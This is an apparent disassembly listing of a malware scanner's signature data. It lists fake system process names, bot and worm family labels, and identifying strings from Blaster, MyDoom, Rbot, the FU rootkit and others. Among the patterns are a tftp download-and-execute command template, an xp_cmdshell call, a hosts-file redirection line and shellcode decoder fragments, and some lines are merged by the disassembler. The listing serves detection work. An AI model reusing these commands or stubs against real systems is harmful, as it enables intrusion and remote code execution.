aScrhost_exe	db 'SCRHOST.EXE',0
aSvlhost_exe	db 'SVLHOST.EXE',0
aWinsini_exe	db 'WINSINI.EXE',0
aAaaamon_exe	db 'AAAAMON.EXE',0
aDpnwsock_exe	db 'DPNWSOCK.EXE',0     ; DATA XREF: .text:0044808Co
		align 4
aLmhsvc_exe	db 'LMHSVC.EXE',0
		align 4
aS32evnt1_exe	db 'S32EVNT1.EXE',0
		align 4
aDmloader_exe	db 'DMLOADER.EXE',0     ; DATA XREF: .text:00448080o
		align 4
aDskquota_exe	db 'DSKQUOTA.EXE',0
		align 4
aCatsrv_exe	db 'CATSRV.EXE',0
		align 4
aRasapi32_exe	db 'RASAPI32.EXE',0
		align 4
aWintemp_exe	db 'WINTEMP.EXE',0
aDrives_exe	db 'DRIVES.EXE',0
		align 4
aIrdvxc_exe	db 'IRDVXC.EXE',0
		align 4
aCashback_exe	db 'CASHBACK.EXE',0
		align 4
aMsusb_exe	db 'MSUSB.EXE',0        ; DATA XREF: .text:00448060o
		align 4
aMsupsrv_exe	db 'MSUPSRV.EXE',0      ; DATA XREF: .text:0044805Co
aMsjava_exe	db 'MSJAVA.EXE',0       ; DATA XREF: .text:00448058o
		align 4
aMsJava_exe	db 'MS-JAVA.EXE',0      ; DATA XREF: .text:00448054o
aWininet_exe	db 'WININET.EXE',0
aWiniogin_exe	db 'WINIOGIN.EXE',0
		align 4
aMsxml_exe	db 'MSXML.EXE',0
		align 10h
aNetapi1_exe	db 'NETAPI[1].EXE',0
		align 10h
aNetapi32_exe	db 'NETAPI32.EXE',0
		align 10h
aNetapi_exe	db 'NETAPI.EXE',0
		align 4
aWinrnr_exe	db 'WINRNR.EXE',0
		align 4
aWallpap1_exe	db 'WALLPAP[1].EXE',0
		align 4
aWallpap_exe	db 'WALLPAP.EXE',0
aWinsysmngr32_e	db 'WINSYSMNGR32.EXE',0
		align 4
aWinload_exe	db 'WINLOAD.EXE',0
aWincmd_exe	db 'WINCMD.EXE',0
		align 10h
aNetlogon_exe	db 'NETLOGON.EXE',0
		align 10h
aExplorer32_exe	db 'EXPLORER32.EXE',0
		align 10h
aDihf_exe	db 'DIHF.EXE',0
		align 4
aWintask32_exe	db 'WINTASK32.EXE',0    ; DATA XREF: .text:00448014o
		align 4
aWincodecs_exe	db 'WINCODECS.EXE',0
		align 4
aSxserv101_exe	db 'SXSERV101.EXE',0
		align 4
aMssecure32_exe	db 'MSSECURE32.EXE',0
		align 4
aMsexplore_exe	db 'MSEXPLORE.EXE',0
		align 4
aDllsys64_exe	db 'DLLSYS64.EXE',0
		align 4
aSvchozt_exe	db 'SVCHOZT.EXE',0
aLibsys32_exe	db 'LIBSYS32.EXE',0
		align 4
aDllmgr64_exe	db 'DLLMGR64.EXE',0
		align 4
aCrsscs_exe	db 'CRSSCS.EXE',0
		align 4
aCrsss_exe	db 'CRSSS.EXE',0
		align 10h
aSmsss_exe	db 'SMSSS.EXE',0
		align 4
aLsasss_exe	db 'LSASSS.EXE',0
		align 4
aRofl_exe	db 'ROFL.EXE',0
		align 4
aLol_exe	db 'LOL.EXE',0
aRotflz_exe	db 'ROTFLZ.EXE',0
		align 4
aSvwhost32_exe	db 'SVWHOST32.EXE',0
		align 4
aIelower2_exe	db 'IELOWER2.EXE',0
		align 4
aIelower_exe	db 'IELOWER.EXE',0
aLower_exe	db 'LOWER.EXE',0
		align 10h
aBl0w_exe	db 'BL0W.EXE',0
		align 4
aSvch0st_exe	db 'SVCH0ST.EXE',0
aWinupdates_exe	db 'WINUPDATES.EXE',0   ; DATA XREF: .text:004481D8o
		align 4
aWkssr_exe	db 'WKSSR.EXE',0
		align 4
aPerfont_exe	db 'PERFONT.EXE',0
aQttask_bat	db 'QTTASK.BAT',0
		align 4
aMsupdate_exe	db 'MSUPDATE.EXE',0
		align 4
aMsnxplive_exe	db 'MSNXPLIVE.EXE',0
		align 4
aSalvage_exe	db 'SALVAGE.EXE',0
aFhm_exe	db 'FHM.EXE',0
aMscrash_exe	db 'MSCRASH.EXE',0
aRecsl_exe	db 'RECSL.EXE',0        ; DATA XREF: .text:004483F8o
		align 4
aBrwconf_exe	db 'BRWCONF.EXE',0
aMsserv32_exe	db 'MSSERV32.EXE',0     ; DATA XREF: .text:004481C4o
		align 4
aM2_2_exe	db 'M2.2.EXE',0
		align 10h
aWindir32_exe	db 'WINDIR32.EXE',0
		align 10h
aZango_exe	db 'ZANGO.EXE',0
		align 4
aRunjava_exe	db 'RUNJAVA.EXE',0
aServicent_exe	db 'SERVICENT.EXE',0
		align 4
aCsvhost_exe	db 'CSVHOST.EXE',0
aMs32_exe	db 'MS32.EXE',0
		align 10h
aW32_exe	db 'W32.EXE',0          ; DATA XREF: .text:00448240o
aZ_exe		db 'Z.EXE',0
		align 10h
aDll64_exe	db 'DLL64.EXE',0
		align 4
aServ454_exe	db 'SERV454.EXE',0
aMsie701_exe	db 'MSIE701.EXE',0
aWinrarx_exe	db 'WINRARX.EXE',0      ; DATA XREF: .text:00448250o
aUpdate32_exe	db 'UPDATE32.EXE',0
		align 10h
aGreen_exe	db 'GREEN.EXE',0
		align 4
aBling_exe	db 'BLING.EXE',0
		align 4
aCrssr_exe	db 'CRSSR.EXE',0
		align 4
aWnl_exe	db 'WNL.EXE',0
aOwinssap_exe	db 'OWINSSAP.EXE',0
		align 4
aSvchost32_exe	db 'SVCHOST32.EXE',0    ; DATA XREF: .text:00448548o
		align 4
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .text:00448900o
		align 4
aRbot_exe	db 'RBOT.EXE',0
		align 4
aSvhost32_exe	db 'SVHOST32.EXE',0
		align 4
aSvhostcs32_exe	db 'SVHOSTCS32.EXE',0   ; DATA XREF: .text:004480ACo
					; .text:0044844Co
		align 4
aSms_exe	db 'SMS.EXE',0
aSeekmo_exe	db 'SEEKMO.EXE',0
		align 4
aSass_exe	db 'SASS.EXE',0
		align 4
aShost_exe	db 'SHOST.EXE',0
		align 4
aSys32_exe	db 'SYS32.EXE',0
		align 10h
aSvcchosst_exe	db 'SVCCHOSST.EXE',0
		align 10h
aBotpacked_exe	db 'BOTPACKED.EXE',0
		align 10h
aExxplorer_exe	db 'EXXPLORER.EXE',0
		align 10h
aIexplore7_exe	db 'IEXPLORE7.EXE',0
		align 10h
aIexplore6_exe	db 'IEXPLORE6.EXE',0
		align 10h
aIexplor_exe	db 'IEXPLOR.EXE',0
aPenis32_exe	db 'PENIS32.EXE',0
aWorm32_exe	db 'WORM32.EXE',0
		align 4
aC27d8fefD7ae42	db 'C27D8FEF-D7AE-42C0-82E6-F30598265639.EXE',0
		align 10h
aScrtkfg_exe	db 'SCRTKFG.EXE',0
aMsappview32_ex	db 'MSAPPVIEW32.EXE',0
aSavenow_exe	db 'savenow.exe',0
aX_exe		db 'x.exe',0
		align 10h
aRas2_exe	db 'ras2.exe',0
		align 4
aSvhcost_exe	db 'svhcost.exe',0
aIpcscan_exe	db 'ipcscan.exe',0
aNtdll64_exe	db 'ntdll64.exe',0
aMsr_exe	db 'msr.exe',0
aWgavm_exe_0	db 'wgavm.exe',0
		align 4
aWgareg_exe_0	db 'wgareg.exe',0
		align 10h
aCmd32_exe	db 'cmd32.exe',0
		align 4
aKspoold_exe	db 'kspoold.exe',0
aHosts_exe	db 'hosts.exe',0
		align 4
aSvchost32_ex_0	db 'svchost32.exe',0
		align 4
aWiniogon_exe_0	db 'winiogon.exe',0
		align 4
aIsass_exe_0	db 'isass.exe',0
		align 10h
a1sass_exe	db '1sass.exe',0
		align 4
aMsrsys32_exe	db 'msrsys32.exe',0
		align 4
aSmsc32_exe	db 'smsc32.exe',0
		align 4
aSysmgr_exe	db 'sysmgr.exe',0
		align 4
aSpooisv_exe_0	db 'spooisv.exe',0
aFun_exe	db 'fun.exe',0
aAlgs_exe	db 'algs.exe',0
		align 4
aSvhost_exe_0	db 'svhost.exe',0       ; DATA XREF: .text:00447E94o
		align 10h
aKernel32_exe_0	db 'kernel32.exe',0     ; DATA XREF: .text:00447E90o
		align 10h
aMsblast_exe_0	db 'msblast.exe',0      ; DATA XREF: .text:00447E8Co
aPenis32_exe_0	db 'penis32.exe',0      ; DATA XREF: .text:00447E88o
aPenis_exe	db 'penis.exe',0        ; DATA XREF: .text:00447E84o
		align 4
aWorm32_exe_0	db 'worm32.exe',0       ; DATA XREF: .text:00447E80o
		align 10h
aMsile_exe	db 'msile.exe',0        ; DATA XREF: .text:00447E7Co
		align 4
aSsms_exe	db 'ssms.exe',0         ; DATA XREF: .text:00447E78o
		align 4
aEraseme_exe_0	db 'ERASEME*.EXE',0     ; DATA XREF: .text:00447E74o
		align 4
aEraseme_exe_1	db 'eraseme*.exe',0     ; DATA XREF: .text:00447E70o
		align 4
a_tmp_exe	db '*.TMP.EXE',0        ; DATA XREF: .text:00447E6Co
		align 4
a_tmp_exe_0	db '*.tmp.exe',0        ; DATA XREF: .text:off_447E68o
		align 10h
dword_44C980	dd 4E56025Bh, 5D023A43h, 20732520h, 7325202Dh, 25202D20h
					; DATA XREF: .text:00447E5Co
		dd 73h
dword_44C998	dd 65676152h, 2E746F42h, 42hdword_44C9A4	dd 2C343103h, 5B3A2E31h, 2C353103h, 47417231h, 546F4245h
					; DATA XREF: .text:00447E54o
		dd 2C343103h, 2E3A5D31h, 2C353103h, 31h
dword_44C9C8	dd 65676152h, 2E746F42h, 41haExploitingSUse	db '(Exploiting: %s User: %s / Pass: %s',0Dh,0Ah
					; DATA XREF: .text:00447E4Co
		db ')',0
		align 4
aNtbot_b	db 'NTBot.B',0          ; DATA XREF: .text:00447E48o
aStaticConstUns	db 'static const unsigned long crc32tab[256] = {',0
					; DATA XREF: .text:00447E44o
		align 4
aNtbot_a	db 'NTBot.A',0          ; DATA XREF: .text:00447E40o
; ---------------------------------------------------------------------------


loc_44CA3C:				; DATA XREF: .text:00447E3Co
		jmp	short near ptr word_44CA4E
; ---------------------------------------------------------------------------
		dw 4A5Ah
; ---------------------------------------------------------------------------
		xor	ecx, ecx
		mov	cx, 13Ch


loc_44CA46:				; CODE XREF: .text:0044CA4Aj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_44CA46
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_44CA4E	dw 0			; CODE XREF: .text:loc_44CA3Cj
		dd 70747448h, 432E4C44h, 2E65646Fh, 41h
aHttpWww_fireda	db 'http://www.firedaemon.com',0
		align 4
aFiredaemon_b	db 'FireDaemon.B',0     ; DATA XREF: .text:00447E30o
		align 4
aCopyrightC2007	db 'Copyright (c) 2007 FireDaemon Technologies Limited',0
					; DATA XREF: .text:00447E2Co
		align 10h
aFiredaemon_a	db 'FireDaemon.A',0     ; DATA XREF: .text:00447E28o
		align 10h
aStrncpyWolffdi	db 'strncpy(wolffdir, xdccdir, MAX_PATH); strncat(wolffdir, "\wolff",'
		db ' MAX_PATH)',0
aWolf_kit	db 'Wolf.Kit',0
		align 4
aDefineHe4_hook	db '#define HE4_HOOK_INV_VERSION    0x20001005',0
		db 0
aHe4hookrootkit	db 'He4HookRootkit-v2.15b',0
		align 4
aMsdirectx_sys	db 'msdirectx.sys',0
		align 4
aFu_driver_b	db 'FU.Driver.b',0
aRdriv_sys	db 'rdriv.sys',0
		align 4
aFu_driver_a	db 'FU.Driver.a',0
		dd 301B3015h, 3054304Ah, 3067305Eh, 30AB3087h, 30C230B1h
		dd 31C331B7h, 31DB31CFh, 327A31F5h, 338E332Fh, 33A7339Ah
		dd 343233AFh, 3442343Ah, 345A344Fh, 34E634B3h, 34F834EFh
		dd 350A3501h, 351C3513h, 357E3524h, 366B3589h, 369C3688h
		dd 36C336BAh, 36EE36E4h, 37133709h, 377C3775h, 3797378Bh
		dd 391A37B1h, 39333924h, 39B13943h, 3A0B3A05h, 3A243A16h
		dd 3A453A3Ah, 3A643A55h, 3A783A69h, 3A913A8Bh, 3AAD3A9Eh
		dd 3AC23AB9h, 3ADE3AD8h, 0
aFu_rootkit_dri	db 'FU.Rootkit.Driver',0
		align 4
aStaticCharAc_d	db 'static CHAR ac_driverName[] = "msdirectx.sys',0
		align 4
aFu_rootkit_c	db 'FU.Rootkit.c',0
		align 4
aConstWcharDevi	db 'const WCHAR deviceNameBuffer[]  = L"\Device\msdirectx',0
		align 4
aFu_rootkit_b	db 'FU.Rootkit.b',0
		align 4
aDefineFile_dev	db '#define FILE_DEVICE_ROOTKIT      0x00002a7b',0
aFu_rootkit_a	db 'FU.Rootkit.a',0     ; DATA XREF: .text:00447DE8o
		align 10h
aImportMsnMsnme	db '#import "MSN/MSNMessengerAPI.tlb" named_guids, no_namespace',0
					; DATA XREF: .text:00447DE4o
aMsnbot_b	db 'MSNBot.b',0         ; DATA XREF: .text:00447DE0o
		align 4
aStaticConstCha	db 'static const char *msg_english[] = {',0 ; DATA XREF: .text:00447DDCo
		align 10h
aMsnbot_a	db 'MSNBot.a',0         ; DATA XREF: .text:00447DD8o
		align 4
aNircomline	db 'NirComLine',0       ; DATA XREF: .text:00447DD0o
					; .text:00447DD4o
		align 4
aPipeEpmapper	db 'pipe\epmapper\',0   ; DATA XREF: .text:00447DCCo
		align 4
aDcomOldScan	db 'Dcom-Old-Scan',0    ; DATA XREF: .text:00447DC8o
		align 4
aR0lgodlhfaauak	db 'R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaGhgQEBP//////wAAACH5BAEAAAY'
					; DATA XREF: .text:00447DC4o
		db 'ALAAAAAAUABQAAAM8',0
		align 4
aC99		db 'c99',0              ; DATA XREF: .text:00447DC0o
aI2luy2x1zgugph	db 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZ'
					; DATA XREF: .text:00447DBCo
		db 'SA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZG'
		db 'UgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJ'
		db 'nYyxhcmd2KQ0KaW50I',0
		align 4
aR57		db 'r57',0              ; DATA XREF: .text:00447DB8o
aHiderunHiddenA	db 'HideRun -- hidden application launcher.',0 ; DATA XREF: .text:00447DB4o
aHiderun	db 'HideRun',0          ; DATA XREF: .text:00447DB0o
aSoftwareAdrian	db 'Software\Adrian Lopez\HideWindow\Preferences HideWindow',0
					; DATA XREF: .text:00447DACo
aHiderGui	db 'Hider-Gui',0        ; DATA XREF: .text:00447DA8o
		align 10h
aSoftwareMicr_6	db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones'
					; DATA XREF: .text:00447DA4o
		db '\3',0
aLowerzones	db 'LowerZones',0       ; DATA XREF: .text:00447DA0o
		align 10h
aWindowsupdate_	db 'windowsupdate.com',0 ; DATA XREF: .text:00447D9Co
		align 4
aMsblast	db 'MsBlast',0          ; DATA XREF: .text:00447D98o
dword_44CFCC	dd 0FFFFFF43h, 1303030h, 282B1F0Ah, 132A12Bh, 0aBeagle		db 'Beagle',0           ; DATA XREF: .text:00447D90o
		align 4
aDonateToTheHur	db 'Donate to the Hurricane Katrina relief effort.',0
					; DATA XREF: .text:00447D8Co
		align 4
aBobic_b	db 'Bobic.B',0          ; DATA XREF: .text:00447D88o
aOsamaBinLadenC	db 'Osama Bin Laden Captured.',0 ; DATA XREF: .text:00447D84o
		align 4
aBobic_a	db 'Bobic.A',0          ; DATA XREF: .text:00447D80o
; ---------------------------------------------------------------------------


loc_44D044:				; DATA XREF: .text:00447D7Co
		jmp	short loc_44D055
; ---------------------------------------------------------------------------


loc_44D046:				; CODE XREF: .text:loc_44D055p
		pop	ebx
		xor	ecx, ecx
		sub	cx, 0FFEEh


loc_44D04D:				; CODE XREF: .text:0044D051j
		xor	byte ptr [ebx],	55h
		inc	ebx
		loop	loc_44D04D
		jmp	short near ptr word_44D05A
; ---------------------------------------------------------------------------


loc_44D055:				; CODE XREF: .text:loc_44D044j
		call	loc_44D046
; ---------------------------------------------------------------------------
word_44D05A	dw 0			; CODE XREF: .text:0044D053j
dword_44D05C	dd 69614D49h, 68532E6Ch, 6C6C65hdword_44D068	dd 0D959506Ah, 2474D9EEh, 73815BF4h, 6F8C0F13h,	0
					; DATA XREF: .text:00447D74o
dword_44D07C	dd 77537049h, 68637469h, 6568532Eh, 6C6Ch; ---------------------------------------------------------------------------


loc_44D08C:				; DATA XREF: .text:00447D6Co
		jmp	short near ptr word_44D0FE
; ---------------------------------------------------------------------------
		dw 3356h
		dd 408B64C0h, 78C08530h, 0C408B0Ch, 0
dword_44D0A0	dd 4474654Eh, 532E4544h, 6C6C6568h, 0; ---------------------------------------------------------------------------


loc_44D0B0:				; DATA XREF: .text:00447D64o
		jmp	short near ptr word_44D0C2
; ---------------------------------------------------------------------------
		dw 4B5Bh
; ---------------------------------------------------------------------------
		xor	ecx, ecx
		mov	cx, 125h


loc_44D0BA:				; CODE XREF: .text:0044D0BEj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_44D0BA
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_44D0C2	dw 0			; CODE XREF: .text:loc_44D0B0j
dword_44D0C4	dd 68637653h, 2E74736Fh, 6C656853h, 6Chdword_44D0D4	dd 8166C933h, 0D9FFB0E9h, 2474D9EEh, 73815BF4h,	0
					; DATA XREF: .text:00447D5Co
dword_44D0E8	dd 63626954h, 68532E6Fh, 6C6C65h; ---------------------------------------------------------------------------


loc_44D0F4:				; DATA XREF: .text:00447D54o
		jmp	short loc_44D10F
; ---------------------------------------------------------------------------
		dw 315Eh
		dd 89E981C9h
		db 0FFh, 0
word_44D0FE	dw 0			; CODE XREF: .text:loc_44D08Cj
aOld4444shell	db 'Old4444Shell',0     ; DATA XREF: .text:00447D50o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_44D10F:				; CODE XREF: .text:loc_44D0F4j
					; DATA XREF: .text:00447D4Co
		add	[ebx+46h], dl
		push	esp


loc_44D113:				; DATA XREF: .text:00447D48o
		xor	ds:53006925h, dh
		jnz	short loc_44D17D
		aaa
; ---------------------------------------------------------------------------
		dd 0
a022moptestmv1_	db '022¬OPtest¬v1.1',0Dh,0Ah,0 ; DATA XREF: .text:00447D44o
		align 4
aOptix		db 'Optix',0            ; DATA XREF: .text:00447D40o
		align 4
aPleaz_runS	db 'pleaz_run%s',0      ; DATA XREF: .text:00447D3Co
aNetdevil	db 'NetDevil',0         ; DATA XREF: .text:00447D38o
		align 4
aSystemrootSyst	db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .text:00447D34o
		align 4
aVncscan	db 'VNCScan',0          ; DATA XREF: .text:00447D30o
byte_44D17C	db 80h			; DATA XREF: .text:00447D2Co
; ---------------------------------------------------------------------------


loc_44D17D:				; CODE XREF: .text:0044D119j
		bound	eax, [ecx]
		add	bh, [ebp+1000100h]
		add	[esi], dl
; ---------------------------------------------------------------------------
		db 8Fh
		dd 182h
aIis5ssl	db 'IIS5SSL',0          ; DATA XREF: .text:00447D28o
aMain		db '[MAIN]: ',0         ; DATA XREF: .text:00447D24o
		align 10h
aRxMain		db 'Rx Main',0          ; DATA XREF: .text:00447D20o
; ---------------------------------------------------------------------------


loc_44D1A8:				; DATA XREF: .text:00447D1Co
		mov	edi, ecx
		xor	al, al
		inc	al
		repne scasb
		jmp	edi
; ---------------------------------------------------------------------------
		align 4
aWebdav		db 'WebDav',0           ; DATA XREF: .text:00447D18o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell',0 ; DATA XREF: .text:00447D14o
		align 4
aMssql_b	db 'MSSQL.B',0          ; DATA XREF: .text:00447D10o
aThcthcthcthcth	db 'THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC',0
					; DATA XREF: .text:00447D0Co
		align 4
aMssql_a	db 'MSSQL.A',0          ; DATA XREF: .text:00447D08o
a8d9f4e40A03d11	db '8d9f4e40-a03d-11ce-8f69-08003e30051b',0 ; DATA XREF: .text:00447D04o
		align 4
aPnp_b		db 'PNP.b',0            ; DATA XREF: .text:00447D00o
		align 4
dword_44D24C	dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 0
					; DATA XREF: .text:00447CFCo
dword_44D260	dd 2E504E50h, 61hdword_44D268	dd 41435302h, 3A3A204Eh, 220hdword_44D274	dd 43207852h, 726F6C6Fh, 6E616353h, 622Eha127_0_0_1Www_s	db 0Ah			; DATA XREF: .text:00447CECo
		db '127.0.0.1',9,'www.symantec.com',0Ah,0
		align 4
aChangehosts	db 'ChangeHosts',0      ; DATA XREF: .text:00447CE8o
dword_44D2B0	dd 57501C43h, 5AD1FF56h, 8430358h, 8B52F88Bh, 0dword_44D2C4	dd 6C6C6548h, 2E746F62h, 62hdword_44D2D0	dd 6C6C6548h, 2E746F62h, 61haRpcpatch_mutex	db 'RpcPatch_Mutex',0   ; DATA XREF: .text:00447CD4o
		align 4
aWelchia_a	db 'Welchia.a',0        ; DATA XREF: .text:00447CD0o
		align 4
aAddexExinfo	db 'AddEx(exinfo)',0    ; DATA XREF: .text:00447CCCo
		align 4
aZotobForbotMod	db 'Zotob/ForBot Mods',0 ; DATA XREF: .text:00447CC8o
		align 4
dword_44D31C	dd 0DDCA6D6Ah, 8090F0E4h, 4A22Fh					; .text:00447CDCo
aBlaster	db 'Blaster',0          ; DATA XREF: .text:00447CC0o
aFbsgjnerZvpe_0	db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\Irefv'
					; DATA XREF: .text:00447CBCo
		db 'ba',0
aMydoom_c	db 'MyDoom.C',0         ; DATA XREF: .text:00447CB8o
		align 10h
aFbsgjnerZvpebf	db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0
					; DATA XREF: .text:00447CB4o
		align 4
aMydoom_b	db 'MyDoom.B',0         ; DATA XREF: .text:00447CB0o
		align 4
dword_44D3B8	dd 9E3C1385h, 0A2hdword_44D3C0	dd 6F44794Dh, 412E6D6Fh, 2 dup(0)aSendingYouPack	db '** Sending you pack #%i ("%s"), which is %sB (resume supported)',0
					; DATA XREF: .text:00447CA4o
aIrofferAll	db 'Iroffer-All',0      ; DATA XREF: .text:00447CA0o
aTotalOffered1_	db 'Total Offered: %1.1f MB  Total Transferred: %1.2f %cB',0
					; DATA XREF: .text:00447C9Co
		align 4
aIroffer_b	db 'Iroffer.b',0        ; DATA XREF: .text:00447C98o
		align 10h
aHttpIroffer_or	db 'http://iroffer.org/',0 ; DATA XREF: .text:00447C94o
aIroffer_a	db 'Iroffer.a',0        ; DATA XREF: .text:00447C90o
		align 10h
aRoot_start	db 'root.start',0       ; DATA XREF: .text:00447C8Co
		align 4
aOtherbot_b	db 'Otherbot.b',0       ; DATA XREF: .text:00447C88o
		align 4
aScan_start	db 'scan.start',0       ; DATA XREF: .text:00447C84o
		align 4
aOtherbot_a	db 'Otherbot.a',0       ; DATA XREF: .text:00447C80o
		align 10h
dword_44D4B0	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8408BADh, 0aLinkbot_shellc	db 'Linkbot.Shellcode',0 ; DATA XREF: .text:00447C78o
		align 4
aRpc_c		db 'RPC.c:',0           ; DATA XREF: .text:00447C74o
		align 10h
aLinkbot_rpc	db 'Linkbot.RPC',0      ; DATA XREF: .text:00447C70o
aDcom2		db 'dcom2:',0           ; DATA XREF: .text:00447C6Co
		align 4
aLinkbot_dcom_c	db 'Linkbot.dcom.c',0   ; DATA XREF: .text:00447C68o
		align 4
aDcom2_c	db 'dcom2.c:',0         ; DATA XREF: .text:00447C64o
		align 10h
aLinkbot_dcom_b	db 'Linkbot.dcom.b',0   ; DATA XREF: .text:00447C60o
		align 10h
dword_44D520	dd 234032Dh, 6D6F6364h,	2632E32h, 2D03hdword_44D530	dd 6B6E694Ch, 2E746F62h, 6D6F6364h, 612Ehdword_44D540	dd 63737069h, 2A206E61h, 2A2E2A2Eh, 2A2Ehdword_44D550	dd 6B6E694Ch, 2D746F62h, 6E616353h, 612EhaWeBackLooooooo	db 'We BaCk LoooooooooooOOOOOOOOOOOOOooo',0 ; DATA XREF: .text:00447C4Co
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .text:00447C48o
		align 4
aPsniffThread	db 'psniff thread',0    ; DATA XREF: .text:00447C44o
		align 4
aRbot_psniff	db 'rbot.psniff',0      ; DATA XREF: .text:00447C40o
dword_44D5A8	dd 0F254C481h, 0E8FCFFFFh, 46hoff_44D5B4	dd offset byte_4E5341	; DATA XREF: .text:00447C38o
dword_44D5B8	dd 0D959516Ah, 2474D9EEh, 0F4haNetapi4444bind	db 'Netapi4444Bind',0   ; DATA XREF: .text:00447C30o
		align 4
a3GsUT		db '3Ƀé°ÙîÙt',0        ; DATA XREF: .text:00447C2Co
		align 10h
off_44D5E0	dd offset byte_4D5953	; DATA XREF: .text:00447C28o
dword_44D5E4	dd 0E983C933h, 0D9EED9AFh, 74haC101		db 'C101',0             ; DATA XREF: .text:00447C20o
		align 4


loc_44D5F8:				; DATA XREF: .text:00447C1Co
		jmp	short loc_44D5FC
; ---------------------------------------------------------------------------


loc_44D5FA:				; CODE XREF: .text:loc_44D5FCp
		jmp	short near ptr byte_44D601
; ---------------------------------------------------------------------------


loc_44D5FC:				; CODE XREF: .text:loc_44D5F8j
		call	loc_44D5FA
; ---------------------------------------------------------------------------
byte_44D601	db 3 dup(0)		; CODE XREF: .text:loc_44D5FAj
dword_44D604	dd 412E5450h, 0	dword_44D60C	dd 4143535Bh, 203A5D4Eh, 0dword_44D618	dd 53207852h, 6E6163hdword_44D620	dd 0D959506Ah, 2474D9EEh, 0F4hdword_44D62C	dd 5D42525Bh, 53746F42h, 6C6C6568h, 0dword_44D63C	dd 34D9E1D9h, 58585824h, 58hdword_44D648	dd 6F626159h, 612E74h; ---------------------------------------------------------------------------


loc_44D650:				; DATA XREF: .text:00447BFCo
		jmp	short near ptr aTftp+6
; ---------------------------------------------------------------------------
		dw 758Bh
		dd 35748B3Ch, 78h
dword_44D65C	dd 47323357h, 53206E65h, 43haCmdCTftpISGetS	db 'cmd /c tftp -i %s GET %s &start %s &exit',0 ; DATA XREF: .text:00447BF4o
		align 4
aTftpget_b	db 'TFTPGet.b',0        ; DATA XREF: .text:00447BF0o
		align 10h
aTftp		db '[TFTP]',0           ; CODE XREF: .text:loc_44D650j
					; DATA XREF: .text:00447BECo
		align 4
aRxTftp		db 'Rx TFTP',0          ; DATA XREF: .text:00447BE8o
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Ah,0 ; DATA XREF: .text:00447BE4o
		align 4
aTftpget_a	db 'TFTPGet.a',0        ; DATA XREF: .text:00447BE0o
		align 4
a220BotServerWi	db '220 Bot Server (Win32)',0Dh,0Ah,0 ; DATA XREF: .text:00447BDCo
		align 10h
aPhatbot	db 'PhatBot',0          ; DATA XREF: .text:00447BD8o
a220WelcomeToBo	db '220 "Welcome to Bot FTP service."',0Dh,0Ah,0
					; DATA XREF: .text:00447BD4o
aAgobot		db 'AgoBot',0           ; DATA XREF: .text:00447BD0o
		align 4
aStnyftpd0wnsJ0	db 'StnyFtpd 0wns j00',0 ; DATA XREF: .text:00447BCCo
		align 4
aStnyftpd	db 'StnyFtpd',0         ; DATA XREF: .text:00447BC8o
		align 4
aMain_0		db '-MAiN-',0           ; DATA XREF: .text:00447BC4o
		align 4
aRep08Main	db 'Rep08 Main',0       ; DATA XREF: .text:00447BC0o
		align 4
a220ReptileWelc	db '220 Reptile welcomes you..',0Dh,0Ah,0 ; DATA XREF: .text:00447BBCo
		align 4
aRep08Ftpd	db 'Rep08 FTPd',0       ; DATA XREF: .text:00447BB8o
		align 4
aReptileWelcome	db 'Reptile welcomes you...',0 ; DATA XREF: .text:00447BB4o
aRepFtpd	db 'Rep FTPd',0         ; DATA XREF: .text:00447BB0o
		align 4


loc_44D7A8:				; DATA XREF: .text:00447BACo
		jmp	short near ptr word_44D7BA
; ---------------------------------------------------------------------------
		dw 4B5Bh
		dd 0B966C933h, 25h
dword_44D7B4	dd 4C205852h			db 53h,	0
word_44D7BA	dw 0			; CODE XREF: .text:loc_44D7A8j
dword_44D7BC	dd 5054465Bh, 203A5Dhdword_44D7C4	dd 46207852h, 7074h; ---------------------------------------------------------------------------


loc_44D7CC:				; DATA XREF: .text:00447B9Co
		jmp	short loc_44D7DE
; ---------------------------------------------------------------------------
		dw 4A5Ah
		dd 0B966C933h, 7Dh
dword_44D7D8	dd 20706552h	; ---------------------------------------------------------------------------
		push	ebx
		inc	ebx


loc_44D7DE:				; CODE XREF: .text:loc_44D7CCj
		xor	al, [eax]


loc_44D7E0:				; DATA XREF: .text:00447B94o
		jmp	short near ptr word_44D7F2
; ---------------------------------------------------------------------------
		dw 4A5Ah
		dd 0B966C933h, 66h
dword_44D7EC	dd 53205852h			db 43h,	32h
word_44D7F2	dw 0			; CODE XREF: .text:loc_44D7E0j
dword_44D7F4	dd 364C033h, 0C783040h,	8Bhdword_44D800	dd 53205852h, 3143hdword_44D808	dd 43524902h, 203A3A20h, 2dword_44D814	dd 43207852h, 726F6C6Fh, 2E435249h, 62hdword_44D824	dd 49414D02h, 3A3A204Eh, 220hdword_44D830	dd 43207852h, 726F6C6Fh, 622Ehdword_44D83C	dd 63533A3Ah, 3A3A6E61h, 0dword_44D848	dd 43207852h, 726F6C6Fh, 6E616353h, 0dword_44D858	dd 614D3A3Ah, 3A3A6E69h, 0dword_44D864	dd 43207852h, 726F6C6Fh, 0dword_44D870	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: .text:00447B64o
		dd 2BBBB02h, 73552020h,	7265h
